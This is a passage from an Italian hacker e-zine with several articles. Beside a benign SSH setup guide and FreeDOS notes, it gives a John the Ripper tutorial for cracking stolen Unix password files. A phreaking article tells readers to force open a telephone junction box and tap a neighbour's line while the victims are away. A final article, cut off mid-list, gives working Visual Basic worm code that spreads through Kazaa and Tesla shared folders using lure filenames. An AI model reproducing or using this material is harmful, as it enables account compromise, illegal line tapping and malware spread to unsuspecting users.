che ci interessa è /usr/local/etc. Qui possiamo modificare l’impostazione di default; possiamo creare le chiavi host, sia quelle RSA che quelle DSA. RSA è un algoritmo di cifratura asimmetrico, un cifrario a chiave pubblica che permette di cifrare un messaggio attraverso un procedimento che sfrutta le proprietà dei numeri primi DSA (Digital Signature Algorithm) è un algoritmo crittografico che può essere utilizzato per la generazione e verifica delle chiavi SSH utilizza un metodo a coppia di chiavi pubblica/privata , RSA è il formato più vecchio, il DSA quello più recente. I comandi per creare tali chiavi sono : make su -c "make install" su -c "make host-key" Inoltre all’interno della stessa cartella si trova una sottocartella “contrib” contenente il file PAM (Acronimo di Pluggable Authentication Modules) PAM è il metodo di autenticazione che controlla l'accesso al sistema. Lo troveremo sotto il nome di sshd.pam.generic e dobbiamo copiarlo in /etc/pam.d/ con il nome sshd cp sshd.pam.generic /etc/pam.d/sshd Nella stessa cartella si trovano gli script init; questi relativi a una distribuzioni in particolare di Linux : la Red Hat A questo punto copiamo lo script di startup nella cartella /etc/rc.d/init.d Di seguito avviare il demone ssh /etc/rc.d/init.d/sshd start Ora non ci resta che scrivere la linea di comando : ssh-keygen -d Avremo così creato la nostra coppia di chiavi pubblica/privata utilizzando il programma keygen. Con il comando –d abbiamo preferito la chiave DSA al posto di una RSA. Dopo la creazione delle chiavi viene chiesto di inserire il nome del file in cui salvare le chiavi che poi andranno salvate in : - $HOME/.ssh/NomeFile (le chiavi private) - $HOME/.ssh/NomeFile.pub (le chiavi pubbliche) Ancora oltre vi viene chiesto di inserire la “passpharse” , frase utilizzata per criptare la chiave privata. A questo punto siamo pronti per iniziare, immaginiamo di volerci collegare ad una macchina remota di nome CyberdudeHost basta inserire il comando : ssh CyberdudeHost La prima volta che ci connettiamo alla macchina ci verrà chiesto se siamo sicuri di continuare con la connessione; scrivendo Yes la chiave relativa all’host verrà aggiunta alla lista degli host conosciuti. A questo punto siamo in collegamento . Qui si conclude l’articolo! Vi do appuntamento alla prossima Cyberdude cyberdudeIL@libero.it www.informazionelibera.tk +--------------------------------------------------------------[open the file]-+ |[ LINUX ] | |-- Crackare le password unix con john the ripper | |-- C0d3r | | _________________________________________________________| |____________________/ JOHN THE RIPPER 1) Prima cosa ------------- Dopo aver letto questo testo non sarebbe male dare un'occhiata ai documenti che accompagnano john the ripper. Ho imparato tutto questo da lì Primo, non sarebbe una cattiva idea ottenere john the ripper, credo...se non l'avete lo potete trovare agli indirizzi: 1) packetstorm.securify.com (guardate negli archivi, password cracking) 2) neworder.box.sk (fate una ricerca da soli) John si trova praticamente dappertutto. Per esempio: provate ad andare su altavista.com e fate una ricerca per "john the ripper". La seconda cose di cui avete bisogno è una GRANDE quantità di dizionari di password (vi spiegherò cosa sono tra un minuto). Il migliore dizionario in circolazione è quello di www.theargon.com e packetstorm (guardate gli archivi) ed è chiamato theargonlistserver1 ed è circa 20 MB compresso, e più di 200 MB decompresso...prendetelo!!! I tizi di theargon hanno fatto un lavoro spaventoso. Dovreste anche procurarvi alcuni dizionari più piccoli (vi spiegherò più tardi perchè). 2. Sembrano *nix? ----------------- Allora adesso avete john, caricato con un enorme dizionario di password, e pensate di poter craccare di tutto...Se progettate di vivere per 100000 anni, questo non sarà un problema, ma avete solo 80 anni rimasti nel migliore dei casi (niente sostanze stupefacenti, alcool ecc). La prima cosa di cui dovete essere sicuri è che il vostro file di password sembri proprio un file di password di Unix (stiamo parlando del file /etc/passwd). Guardiamo come è fatto un file di password di Unix owner:Ejrt3EJUnh5Ms:510:102:Some free text:/home/subdir/owner:/bin/bash La parte importante è il nome utente e la password criptata, che sono la prima e la seconda parte (ogni linea è divisa in sette parti dal simbolo :) owner:Ejrt3EJUnh5Ms Owner è il nome utente e "quell'altra cosa" è la password criptata (in DES, Data Encryption Standard, modificato). Per l'altra parte potete inserire qualsiasi cosa che vi assomigli ma la struttura deve rimanere la stessa in modo che john lo riconosca come un file di password *nix. Infatti l'altra parte :510:102:Some free text:/home/subdir/owner:/bin/bash Sono solo informazioni sull'utente, la sua directory home, ecc... Alcune volte avrete delle password che hanno solo la prima e la seconda parte, come i file di password che si ottengono da una webboard che usa matt's web board script. owner:Ejrt3EJUnh5Ms Dovrete mettere l'altra parte in modo che sembri come un file passswd unix. Potete fare un copia-incolla da un'altro file passwd di una stringa del tipo :510:102:His name:/home/subdir/owner:/bin/bash Quello che otterrete dovrà essere owner:Ejrt3EJUnh5Ms:510:102:His name:/home/subdir/owner:/bin/bash Potete anche fare così owner:Ejrt3EJUnh5Ms:a:a:a:a:a John non se ne accorgerà nemmeno. 3. Stiamo andando da qualche parte...adesso ------------------------------------------- Adesso siete pronti per craccare. Digitate john -w:words.lst password.file Dove words.lst è il dizionario di password e password.file è il nome del file contenente le password da craccare. Se lo usate sull'esempio che vi ho dato probabilmente otterete la password alla svelta perchè è una password molto debole. Sarete sorpresi nel vedere che le persone usano password molto stupide, come il loro nome, il nome del loro animale domestico o anche il loro nome utente (ad esempio: nome utente: pippo, password: pippo). Suggerimento: Non siate stupidi! Usate password robuste come p4sswr!@ p@s$w11s con tanti caratteri quanti ne potete ricordare. Un trucco è usare i caratteri speciali e i numeri. Queste password sono molto difficili da craccare (vi spiegherò perchè tra un minuto). Un altro trucco è usare password con tanti caratteri quanti ve ne potete ricordare, 8 caratteri di solito non è abbastanza...in altre parole...più di 10 caratteri è già buono, ancora di più non farebbe male (per esempio 16...). Ad ogni modo molte vecchie distribuzioni *nix hanno le password limitate ad 8 caratteri...queste sono le vecchie password criptate DES che usano una chiave a 64-bit...adesso ci sono le chiavi a 128-bit, e alcuni schizzati ne usano anche di più, quindi c'è più da divertirsi :) john -w:words.lst password.file Aspetta aspetta aspetta! Cosa stai facendo adesso? Ok, ascoltate attentamente. L'algoritmo DES usato da Unix non può essere craccato. Alcuni algoritmi possono essere craccati usando un algoritmo talvolta semplice, spesso molto complicato (nel III° secolo avanti Cristo, Cesare era solito spedire lettere in codice che usavano l'algoritmo dello "scorrimento di tre", il che significa che d stava per a, e stava per b, ecc. A quei tempi quell'algoritmo andava bene. Oggi non più). Ad ogni modo, l'algoritmo DES modificato di Unix non può essere decodificato. Perchè? Perchè è un algoritmo basato su chiave. L'algoritmo usa una certa quantità di lettere (maiuscole e minuscole), numeri e simboli al suo interno. Quindi, in altre parole, per caricare l'algoritmo di decifrazione avete bisogno della chiave, ma la chiave non è altro che la password stessa! Quando un utente sceglie una password, il sistema genera una password criptata, chiamata hash (che è quello che si ottiene avendo un file passwd), che è creata usando l'algoritmo DES usando la password dell'utente come chiave. Se provate a decifrare la password usando l'algoritmo standard revertibile di criptazione DES, ottenete una stringa nulla. Allora come fanno John e gli altri programmi per craccare le password? Semplice. Provano a ricreare il processo prendendo le password da questi dizionari e le usano come chiavi per il processo di criptazione DES. Poi confrontano il risultato con tutte le password criptate del file passwd. Se le due stringhe sono uguali - avete trovato la password! Se il primo passo non ha funzionato, il prossimo da fare è questo: john -w:words.lst -rules password.file Queste opzioni permettono non solo di usare il dizionario, ma applica alcune modifiche sulle parole prelevate dal dizionario (come aggiungere un numero alla fine della password - pippo -> pippo1, ecc., ecc.). Questo richiederà un po' di tempo con grossi file di dizionario, ma può dare risultati migliori... Per cominciare potete fare una prova con un dizionario piccolo, e se non funziona provare con uno più grande. Talvolta le persone non sono stupide quando scelgono le password e le regole di base non riescono a farci raggiungere l'obbiettivo..aargh!. Come avrete visto craccare le password richiede sempre più tempo alla nostra CPU mano a mano che andiamo avanti. Adesso potete lasciare il vostro computer acceso e andare a dormire... Se volete ottenere ancora più password possibili dal vostro file, provate a digitare john -i password.file Quell'-i significa cracking incrementale, non un gran bel lavoro, ma... Ok, cosa diavolo fa? Usa la modalità incrementale predefinita, i cui parametri sono memorizzati nel file john.ini. Cosa significa? Vi ricordate -rules? Bene, di sicuro ve lo ricordate, a meno che non soffriate di alzhaimer o non abbiate fatto una pausa di lettura di 2 anni. E' molto simile ma molto più potente e richiede molto, molto più tempo. 4. Dove siamo adesso (dizionari contro brute-force) --------------------------------------------------- Potete vedere che in ogni caso avete la possibilità di usare il cracking con dizionario...ma cavolo, perchè non avviare john in una modalità in cui provi tutte le possibili combinazioni di lettere maiuscole e minuscole, lettere e simboli...sarebbe più efficiente giusto?...SBAGLIATO!!! Questo metodo viene chiamato attacco brute-force (a forza bruta). Quali sono le differenze? La prima e la più importante, con un dizionario si scorrono le parole selezionate che potrebbero essere password e le loro varianti, e con il brute force si usano tutte le possibili combinazioni. Questo significa che avremo COM = NC ^ LET dove COM - numero di possibili combinazioni NC - numero di caratteri LET - numero di lettere usate Nel caso che si stia usando il default di john (-i), avremo un set di 95 caratteri e, presumiamo, una password di 6 lettere, otterremo un numero di combinazioni pari a 735.091.890.625. Certo, è utile per password come 2405v7, ma comunque...con la potenza di calcolo dei PC di oggi, lascerei perdere, a meno di non avere accesso a qualche supercomputer universitario, che scommetto nessuno mi darà mai (beh, almeno non gratis, e di certo non per usare un programma per craccare le password). Come potete vedere ci vuole un sacco di tempo prima di craccare un'unica singola password, usate un po' di matematica e provate a calcolare quante possibili combinazioni ci sono per 10, 12 e 16 caratteri. Non credo che vi piacerà la risposta :) Naturalmente, talvolta gli attacchi basati su dizionario non sono sufficienti, ma john ha delle opzioni molto potenti. In modalità incrementale john verificherà tutte le possibili combinazioni da 0 a 8 caratteri (una password di lunghezza 0 caratteri è considerata una stringa hash vuota, alcune volte capita). Quindi la modalità incrementale è una sorta di brute-force... Se volete usare tutte le armi a vostra disposizione in un colpo solo usate john password.file Prima faròà un attacco di base con dizionario, poi con dizionario -rules e poi - i (incrementale). 5. Cosa fare se... ------------------ Ok, avete spento la vostra macchina ogni tanto non è vero? Se siete alle prese con quella difficile password che richiede più di 20 ore di cracking potete fermare john premendo CTRL+C e poi ricominciare da dove avevate lasciato con john -restore Se la macchina va in crash o c'è un'interuzione di corrente, non sarà possibile ricominciare la sessione (alcune volte)...questo è brutto ed è capitato anche a me una volta :-( John è modulare, e questa è la cosa più potente a proposito di questo programma. E' questo che rende john il programma di cracking più avanzato. John è molto, molto modulare. John usa le modalità descritte in john.ini (vi ricordate sempre il cracking incrementale di cui stavo parlando? Le modalità per -rules ed -i sono descritte in questo file). Se siete tipi con un certa inventiva potete fare dei cambiamenti ai parametri di john.ini. Questo è un esempio di come sono alcuni dei parametri per la modalità -i # Incremental modes [Incremental:All] File = ~/all.chr MinLen = 0 MaxLen = 8 CharCount = 95 Bene...cosa abbiamo qui? [Incremental:All] - inizio della definizione per l'opzione -i:all File = -/all.chr - il nome del file che contiene i caratteri usati in modalità -i:all MinLen - la lunghezza minima della password da provare in questa modalità MaxLen - la lunghezza massima della password da provare in questa modalità CharCount - il numero di caratteri che john usa quando abilitate questa modalità Quindi, ci sono altre opzioni...heh. Si ci sono e qui sotto ci sono tutti le modalità di default incollate dalla documentazione di john the ripper Opzioni da linea di comando per John the Ripper ----------------------------------------------- Potete elencare qualsiasi numero di file di password sulla linea di comando di john, e anche specificare alcune delle seguenti opzioni (attenzione, c'è distinzione tra maiuscole e minuscole, ma possono essere abbreviate; potete utilizzare anche la modalità GNU estesa): - single Modalità "single crack" usa i parametri contenuti in [List.Rules:Single]. - wordfile:FILE Modalità dizionario, legge le password da FILE. - stdin Usata per abilitare la modalità wordfile. - rules Abilita le regole per la modalità wordlist che sono lette da [List.Rules:Wordlist]. - incremental[:MODE] Modalità incrementale [usando la sezione MODE] abilita la modalità incrementale usando le definizioni in ~/john.ini (sezione [Incremental:MODE], o [Incremental:All] di default). - external:MODE Abilita la modalità esterna, usando le funzioni definite in ~/john.ini sezione [List.External:MODE]. - stdout[:LENGTH] Niente cracking, stampa le parole in stdout. Se usato in modalità cracking, ad eccezione di "single crack", fa visualizzare a John print le parole che genera su stdout invece di craccare. Se si utilizza le regole wordlist la lunghezza significativa delle password è LENGTH, o illimitata di default. - restore[:FILE] Ripristina una sessione interrotta, leggendo il punto da cui ripartire dal file specificato (~/restore di default). - session:FILE Permette di definire un file di stato per la sessione corrente. Utile per caricare diverse istanze di john in parallelo o per ripristinare una sessione successivamente. - status[:FILE] Stampa lo stato di una sessione interrotta [da FILE]. Per ottenere un'informazione aggiornata sullo stato di una sessione interrotta, mandate a questa copia di John un SIGHUP prima di usare questa opzione. - makechars:FILE Crea un set di caratteri sovrascrivendo FILE basato sulle frequenze dei caratteri da ~/john.pot, da usarsi con la modalità incrementale. L'intero file ~/john.pot sarà usato per il set a meno che non si specifichi alcuni file di password. Si può anche usare un filtro esterno. - show Visualizza le password craccate in una forma opportuna. Dovete anche specificare il file di password. Potete usare questa opzione mentre un altro john sta craccando per vedere ciò che ha fatto per il momento. - test Esegue un test sulle operazioni di decodifica (benchmark). - users:[-]LOGIN|UID[,..] Carica questi utenti soltanto. Permette di filtrare alcuni account per il cracking. - groups:[-]GID[,..] Carica questi gruppi. Vengono caricati solo gli utenti appartenenti al gruppo scelto. - shells:[-]SHELL[,..] Carica queste shell. Vengono caricati solo gli utenti con il tipo di shell scelto. Si può omettere il percorso prima del nome della shell quindi '-shells:csh' includerà sia '/bin/csh' che '/usr/bin/csh', mentre '-shells:/bin/csh' includerà solo '/bin/csh'. - format:NAME forza il formato di cifratura NAME Permette di forzare il ricoscimento automatico del formato di cifratura. Attualmente i formati validi sono DES, BSDI, MD5, BF, AFS, LM. Notate che John non può craccare file di password con due o più algoritmi di cifratura diversi tra loro. - savemem:LEVEL Abilita il salvataggio di meroria a livello LEVEL (1..3). Potreste aver bisogno di questa opzione se non avete abbastanza memoria, o non volete che John rallenti troppo altri processi. Level 1 dice a John di non sprecare memoria con i nomi di login, quindi. non li vedrete mentre craccate. I livelli più alti hanno degli effetti sulla performance: dovreste probabilmente evitare di usarli a meno che John non funzioni o usi troppo spazio di swap. 6. Consigli ------------ I) Un buon modo per affrontare una sessione di cracking è john -w:words.lst password.file john -w:words.lst -rules password.file john -w:words.lst password.file john -i:digits password.file john -i:all password.file II) Se avete un file che ha solo password del tipo owner:*:510:102:His name:/home/subdir/owner:/bin/bash Avete un file shadowed. Andate alla pagina Byte-Me al sito blacksun.box.sk e provate a capirne di più sui file di password (questo lo lascio a voi. E' importante che impariate a fare le cose da soli). III) Avete alcune piccole utility che accompagnano john, sono tutte elencate qui sotto (dalla documentazione di john) unshadow PASSWORD-FILE SHADOW-FILE Combina il file password e il file shadow (quando avete già accesso ad entrambi) per usarli con John. Potreste avere bisogno di questo solo se avete usato il vostro file shadow, informazioni GECOS non sarebbero usate dalla modalità "single crack", e oltretutto non potreste usare l'opzione '-shells'. Solitamente vorrete redirigere l'output di 'unshadow' su un file. unafs DATABASE-FILE CELL-NAME Estrae gli hash delle password dai database binari AFS , e crea un file. utilizzabile con John (dovete redirigere l'output come prima da soli). unique OUTPUT-FILE Toglie i duplicati da una wordlist (letta da stdin), senza cambiare l'ordinamento. Potreste volerlo usare con l'opzione '-stdout', se avete un sacco di spazio su disco da scambiare con il tempo in meno richiesto per craccare il file. mailer PASSWORD-FILE Uno script per la shell che permette di inviare un e-mail a tutti gli utenti con password deboli. Dovete modificare il messaggio prima di usarlo. Allora, questo è tutto... spero che questo testo vi sia stato utile. Ulteriori informazioni: provate a leggere tutta la documentazione che viene distribuita con john nella directory docs. Forse è un po' dispersiva, ma.... questa è la documentazione :) Ricordate, non tutti i file di password possono essere craccati! Gli amministratori furbi modificano la cifratura che utilizzano, in particolare se si tratta di password di root. __C0d3r__ c0d3r[at]gawab.com +--------------------------------------------------------------[open the file]-+ |[ PHONE PHREAKING ] | |-- Attaccarsi alla linea del vicino | |-- Er4Z0r | | _________________________________________________________| |____________________/ -------------------------------------------------------------------------------- N.B. TUTTE LE INFO QUI CONTENUTE SONO DA RITENERSI A TITOLO PURAMENTE INFORMATIVO, PERCIO' L'AUTORE, EraZor, DECLINA OGNI RESPONSABILITA' DALL'USO CHE POTREBBE ESSERNE FATTO. L'AUTORE, DUNQUE, NON INCORAGGIA CHI VOLESSE SERVIRSENE PER SCOPI ILLEGALI. -------------------------------------------------------------------------------- IL POSSESSO DI QUESTO FILE E' COMUNQUE DEL TUTTO LECITO. -------------------------------------------------------------------------------- Prima di suggerirvi questo metodo di phreaking voglio fare delle precisazioni. Siccome questo metodo serve per attaccarsi al telefoni dei vicini (cosa ILLEGALE) vi consiglio di fare ste cose prevalentemente d’ ESTATE o perlomeno quando le vittime sono in vacanza e allo scuro di tutto e non occupino la linea. Inoltre vi consiglio di entrare in azione durante le ore notturne o anche il pomeriggio presto. Bisogna stare attenti e non fare cazzate ma soprattutto rumori. Questi due cavi (vedi in allegati cavi.jpg) rosso e verde vanno attaccati alla centralina. L’ altra estremità dei due fili termina con questo jack che attaccheremo al Ns caro telefono (vedi in allegati jack.jpg). ________________________________________________________________________________ /\/\/\/\/\/\/\/\/\/\/\/\/ Il telefono nn deve per forza essere come il mio ma basta che telefona. Ed ecco il nostro obiettivo la nostra cara centralina, eccovi una foto. (Vedi in allegati centralina.jpg) L’occorrente per manomettere la centralina: un cacciavite piccolo, il telefono e i fili di prima (vedi foto prcedenti) e un cellulare per i test. Attenzione in questo articolo parlo delle centraline + piccole quelle con la manopola, quelle che stanno fuori delle case , se ne avete vista una penso avrete notato la strana serratura. (Ah dimenticavo difficilmente trovate aperti i centralini telefonici e non vi aspettate un gesto tanto gentile perchè 9 volte su 10 le trovate chiuse). Ora per aprire la centralina conosco un metodo infallibile bisogna usufruire della manopola di apertura prima dando un calcio a lato nel verso di chiusura poi con tutta la forza che si ha in corpo tirare senza fermarsi nel verso di apertura in questo modo la chiusura non resisterà e clack!!! Il centralino è ora aperto... ora che si fà , beh adesso se ve la sentite manomettete sennò tornate con comodo un altro giorno. Aprite lo sportello e noterete subito guardando in basso che da due tubi vengono fuori due cavi che escono da terra e si collegano una piastra con i contatti con altri fili. I fili che portano il segnale all' abitazione sono tenuti in contatto con gli altri da viti che dovrete svitare , ricordate che i cavi sono uno bianco e uno rosso e alloggiano nella parte sinistra della piastra avete trovato il filo bianco e rosso che stanno a sinistra? QUELLI SONO I CAVI CHE PORTANO IL SEGNALE ALL' ABITAZIONE ora dovrete svitarli,toglierli e al posto di questi mettere quelli del vostro caro e amato telefono. Non fate però l’errore di attaccare i cavi del tuo telefono quelli che vanno all' abitazione in quel caso non funzionerà niente. Avete inserito bene il cavo verde e il cavo rosso? nei loro precisi alloggiamenti? Avete stretto tutto col cacciavite? I contatti fanno? Si? Penso che già sentirete ... tu... tu... tu... tu... tu... A questo punto credo sia oppurtuno darvi alcune dritte alcune fondamentali: (1) FONDAMENTALE: Calma e non agitarti troppo (quello sempre) (2) studia , fai esperimenti sfrutta l' occasione ma senza far danni (3) FONDAMENTALE : Non chiamare numeri che in qualche modo ti riguardano (4) FONDAMENTALE: Verifica sempre a che linea sei attaccato (5) Non usare esplosivi per fottere la serratura siamo phreaker nn terroristi. (6) FONDAMENTALE : rimetti tutto a posto dopo la tua phreakkata. +--------------------------------------------------------------[open the file]-+ |[ FOR NEWBIE ] | |-- freedos dentro windows = open source dentro $$$$$$$$ | |-- Tailot | | _________________________________________________________| |____________________/ "Io sono spazzatura che non fa paura, stò più sotto di una talpa, io salto come un pocorn su questa terra che brucia su questa eterna sfiducia" Dopo queste parole che per me sono importanti voglio iniziare a presentare il mio "articolo". Vi parlerò del freedos !!!! (*FreeDOS è un sistema operativo in fase di sviluppo per la piattaforma i386, concepito per estendere i concetti del DOS ma anche per lo sviluppo di sistemi dedicati basati su schede x86 a basso costo.*) Il sito ufficiale dove potete prelevarlo gratuitamente http://www.freedos.org Adesso vediamo passo dopo passo le azioni da compiere per implementare le funzioni del dos con il freedos !!!!!! Il primo passo da compiere è scaricare il freedos ( vi consiglio l'ultima versione in quanto è più stabile rispetto alle altre) Fatto ciò installatelo in c:\Fdos (E' importante installarlo li per l'aggiornamento del file AutoExec e Config.sys) A questo punto la cosa diventa molto semplice.... Entriamo dentro la cartella c:\Fdos e notiamo che ci sono due file di nome Autoexec.bat e Config.sys (hehehehhhe) Iniziamo con Autoexec.bat: Apriamolo con un editor di testi: @ECHO off ECHO Welcome to FreeDOS (http://www.freedos.org)! REM Attempt to load TSRs high & before adding too much to the enviroment REM Load the Mouse driver (autodetect mouse) (conventional mem or high) REM C:\FDOS\CTMOUSE\CTMOUSE REM LOADHIGH C:\FDOS\CTMOUSE\CTMOUSE REM Load CD-ROM extensions SHSUCDX (FDCDEX) REM SHSUCDX [/D:DriverName[,[Drive][,[Unit][,[MaxDrives]]]]] REM To unload: SHSUCDX [-u or /u] REM C:\FDOS\BIN\SHSUCDX /D:FDCD0001,R REM Set the default search path for programs PATH=C:\FDOS\BIN;C:\FDOS\BIN\KEY; REM Add other directories here REM SET PATH=%PATH%;C:\UTIL REM Setup keyboard mappings REM XKEYB uk REM FreeDOS utilities specific, set language & location for those REM that supports alternate language message catalogs via Cats SET NLSPATH=C:\FDOS\NLS; SET LANG=EN Mhmmmm che bello.....Quello che dovrete fare è cambiare la stringa REM XKEYB uk in REM XKEYB it e copiarlo sotto il vostro attuale autoexec in uso che troverete in c:\ Adesso aprite il file config.sys che trovate dentro c:\Fdos copiate il contenuto sotto il vostro config.sys che trovate in c:\ Bhe non ci crederete ma non dovrete fare più niente.........RIAVVIATE IL SISTEMA ed avete un dos con moltissime funzioni in più !!!! Spero di essere stato chiaro...... Saluto tutto il gruppo di IL ma più di tutti cyberdude ed unrelated che sono troppo forti!!! Vai ragazzzzzziiiii!!! BY TAILOT Per ulteriori informazioni: WWW.TAILOT.CJB.NET webmaster@tailot.zzn.com +--------------------------------------------------------------[open the file]-+ |[ FOR NEWBIE ] | |-- Analizzando un inf | |-- Unrelated | | _________________________________________________________| |____________________/ ???????????????????????????????????????????????????????????????????????????????? 31\12\2003 Analizzando un inf... ???????????????????????????????????????????????????????????????????????????????? ? Disclaimer Dovete scusarmi mie cari lettori se i miei articoli in questo numero non saranno eccelsi... ho dei problemi di tempo e ad arronzare cose complesse non ne vale la pena. Me le conseverò quando avrò + tempo da dedicare a me e a voi ? Esperienza Era un giorno come tutti gli altri quando decisi di installare un vecchio programma della creative sul mio nuovo computer. Ma anche se ci stava xp non supportava più la versione del programma... quindi da buon scolaretto windowsiano volevo leggermi le info per capire fino a quele versione di winzoz era compatibile quindi apro il Readmi.1ST e controllo se ci sta qualcosa che posso fare... ma purtroppo nada e il programma gira sempre e solo sotto il 95 anche perchè è lì che è installata la scheda audio correlata al soft... kmq giusto per smanettare un poco apro ATORUN.inf e cosa vi vedo dentro? [autorun] open = ctrun\ctrun.exe icon = ctrun\ctrun.ico shell\readme = &Readme! shell\readme\command = notepad \Readme.1ST ? Deduzione uhmmm... e allora penso... va buò fino a open e icon tutto fila il classico autorun... ma shell che minkia è? Semplicemente cliccando con il tasto destro sul driver che legge il cd apparirà la scritta _Readme! e pigiandoci sopra si aprirà col notepad proprio Readme.1ST... ciao e auguri di un felicissimo anno nuovo a tutti. ???????????????????????????????????????????????????????????????????????????????? Unrelated ???????????????????????????????????????????????????????????????????????????????? +--------------------------------------------------------------[open the file]-+ |[ FOR NEWBIE ] | |-- Esperienze ASXiane | |-- Unrelated | | _________________________________________________________| |____________________/ ???????????????????????????????????????????????????????????????????????????????? 31\12\2003 Esperienze ASXiane ???????????????????????????????????????????????????????????????????????????????? ? Disclaimer Dovete scusarmi mie cari lettori se i miei articoli in questo numero non saranno eccelsi... ho dei problemi di tempo e ad arronzare cose complesse non ne vale la pena. Me le conseverò quando avrò + tempo da dedicare a me e a voi ? Introduzione Ho sempre avuto il piccio di voler inserire nei miei lavori in htm una colonna sonora o un pezzo d'autore... anche per dare una impronta maggiore al chi lo visita... infatti se vi ricordate nella vecchia versione del sito di questa crew c'era una song dei linkin-park :D bene ora vediamo in sostanza quali file sono così veloci da caricarsi in tempi brevissimi e da offrire ottimi risultati qualitativi in ambito multimediale... Già avete capito che parlo degli ASX... quindi incominciamo col dire cosa sono gli a sx e poi dove e come possiamo fregarceli... ? Cos'è un asx? html.it risponde così alla domanda cos'è un asx: E' un file di riferimento, per il Windows Media Player, all'interno di un server http che dà svariate informazioni sulla collocazione di uno o più files multimediali. Beh diciamo che concordo in pieno... E' opportuno sottolineare per quelli più duri che un asx non è solo un label per il riconoscimento audio, ma anche per formati video. ? Come possiamo fregarceli? Beh niente di più facile.. Estraradio ci propone gli MP3 della Settimana "http://www.estraradio.it/week_mp3/index.php" salviamo questa pagina sul nostro HD e la apriamo con il notepad.. cerchiamo l'url di collegamento al file .asx la copiamo e la mettiamo nel nostro sito.. ? Esempio Entrando nello specifico... ( e più scrivo questo tutorial più mi credo un perfetto lamah con il brevetto) diciamo che ho scelto la song di eminem "loseyuorself" e me la voglio prendere per metterla nel mio sito... cosa mi troverò davanti? ----------------------8<---------------------------------------8<----------------
Lose Yourself - Eminem
----------------------8<---------------------------------------8<---------------- copiata la stringa messa in evidenza basta fare una semplice pagina in htm e incollare l'url... il nativo che uscirà è questo: ----------------------8<---------------------------------------8<---------------- ascolta ----------------------8<---------------------------------------8<---------------- ? Conclusione Per i newbie questo tutor forse sarà stata una manna venuta dal cielo, per quelli che già se la cavano sarà solo una perdita di tempo aver letto questo tutorial... kmq è una cosa che a prescidere è sempre utilissima da sapere. http://www.rainews24.rai.it/ran24/clips/Video/evian_torrealta.asx un pò di odio pieno per rimanere nel tema: ma che cazz di anno è stato questo anno? Rolling On The Floor Laughing my ass Off ciao e auguri di un felicissimo anno nuovo a tutti. ???????????????????????????????????????????????????????????????????????????????? Unrelated ???????????????????????????????????????????????????????????????????????????????? +--------------------------------------------------------------[open the file]-+ |[ FOR NEWBIE ] | |-- Propagazione virale sui network peer to peer | |-- C0d3r | | _________________________________________________________| |____________________/ I programmi peer-to-peer ti permettono di condividere i tuoi file con altre persone online. La domanda è questa: come fanno i worm a trarre vantaggio di ciò? La maggior parte di questi programmi ha delle directory condivise di default. Quando scaricate un file, il programma lo copia nella directory condivisa e lo mette a disposizione degli altri utenti della Rete. Le directory di default di alcuni programmi sono: C:\Program Files\Kazaa\my shared folder\ C:\Program Files\Tesla\Files\ Il nostro worm in definitiva si copia in una di queste directory con un nome diverso, che invogli l'utente a scaricare il file e eseguire il worm. Esempio: Private Sub Main() On error resume next FileWorm = App.Path & "\" & app.exename & ".exe" 'Il file correntemente in esecuzione 'Copia in kazaa FileCopy FileWorm, "C:\Program Files\Kazaa\my shared folder\Doom III Crack.exe" FileCopy FileWorm, "C:\Program Files\Kazaa\my shared folder\MircX.exe" FileCopy FileWorm, "C:\Program Files\Kazaa\my shared folder\GTA Vice City NoCD.exe" 'Copia in tesla FileCopy FileWorm, "C:\Program Files\Tesla\Files\Doom III Crack.exe" FileCopy FileWorm, "C:\Program Files\Tesla\Files\MircX.exe" FileCopy FileWorm, "C:\Program Files\Tesla\Files\GTA Vice City NoCD.exe" End 'Fine End sub Per attirare più utenti possibile, dove usare più nomi di file ma non possiamo usare il metodo precedentemente descritto perchè dovremmo scrivere troppo codice. Proviamo a fare così: Private Sub Main() Dim NomeFile(10) as string On error resume next OurWormFile = App.Path & "\" & app.exename & ".exe" NomeFile(1) = "Winzip8.exe" NomeFile(2) = "Winrar3.exe" NomeFile(3) = "Gta vice city+crack.exe" NomeFile(4) = "Coca Cola Screen Saver.exe" NomeFile(5) = "Norton Antivirus Crack.exe" NomeFile(6) = "Serials2003.exe" NomeFile(7) = "Doom III Crack" NomeFile(8) = "Mirc6.07.exe" NomeFile(9) = "Pirch98.exe" NomeFile(10) = "Kazaa.exe" For i = 1 to 10 FileCopy FileWorm, "C:\Program Files\Tesla\Files\" & NomeFile(i) 'Copia per Tesla FileCopy FileWorm, "C:\Program Files\Kazaa\my shared folder\" & NomeFile(i) 'Copia per Kazaa End 'Fine End Sub Adesso abbiamo copiato il worm con diversi nomi, ma abbiamo un altro problema. Molti utenti conoscono l'esistenza dei worm e che molti di essi creano copie di se stessi nella directory principale condivisa, ma se creiamo delle sottodirectory abbaimo maggiori possibilità di infettare qualcuno. Private Sub Main() Dim FileName(10) as string On error resume next FileWorm = App.Path & "\" & app.exename & ".exe" 'Define filenames FileName(1) = "Winzip8.exe" FileName(2) = "Winrar3.exe" FileName(3) = "Gta vice city&crack.exe" FileName(4) = "Coca Cola Screen Saver.exe" FileName(5) = "Norton Antivirus Crack.exe" FileName(6) = "Serials2003.exe" FileName(7) = "Doom III Crack.exe" FileName(8) = "Mirc6.07.exe" FileName(9) = "Pirch98.exe" FileName(10) = "Kazaa.exe" 'Crea le directory se non esistono if dir("c:\program files\kazaa\my shared folder\stuff",vbdirectory) = "" then mkdir "c:\program files\kazaa\my shared folder\stuff" if dir("c:\program files\Tesla\files\stuff",vbdirectory) = "" then mkdir "c:\program files\kazaa\my shared folder\stuff" For i = 1 to 10 'Copia il worm FileCopy FileWorm, "C:\Program Files\Tesla\Files\stuff" & FileName(i) FileCopy FileWorm, "C:\Program Files\Kazaa\my shared folder\stuff" & FileName(i) End End Sub In questo esempio ho usato la directory stuff ma voi potete usarne altre. Le più comuni sono: \apps \programs \stuff \zips \misc \Games \Gamez \Cheats \Cheatz \Cheaterz \Cracks \Serials \Crackz \Serialz \ScreenSav \ScreenSavers Trucchetti 1) Il 60% degli utenti usa i programmi p2p per cercare pornazzi...usate nomi di file tipo "Nude Teen fucking a dog.movie.exe" "Britney Spears Naked.exe" "Avril Lavigne nude Screen Saver.exe" 2)Usate la maggior quantità di nomi di file possibile (1000 è già buona). Potete generare nomi di file random, ma state attenti che i nomi non sembrino correlati. 3)Usate più programmi p2p. Qui c'è una lista delle directory di default della maggior parte dei programmi: \Kazaa\My Shared Folder \Kazaa Lite\My Shared Folder \KMD\My Shared Folder \LimeWire\Shared \Gnucleus\Downloads \Shareaza\Downloads \BearShare\Shared \Edonkey2000\Incoming \Morpheus\My Shared Folder \Grokster\My 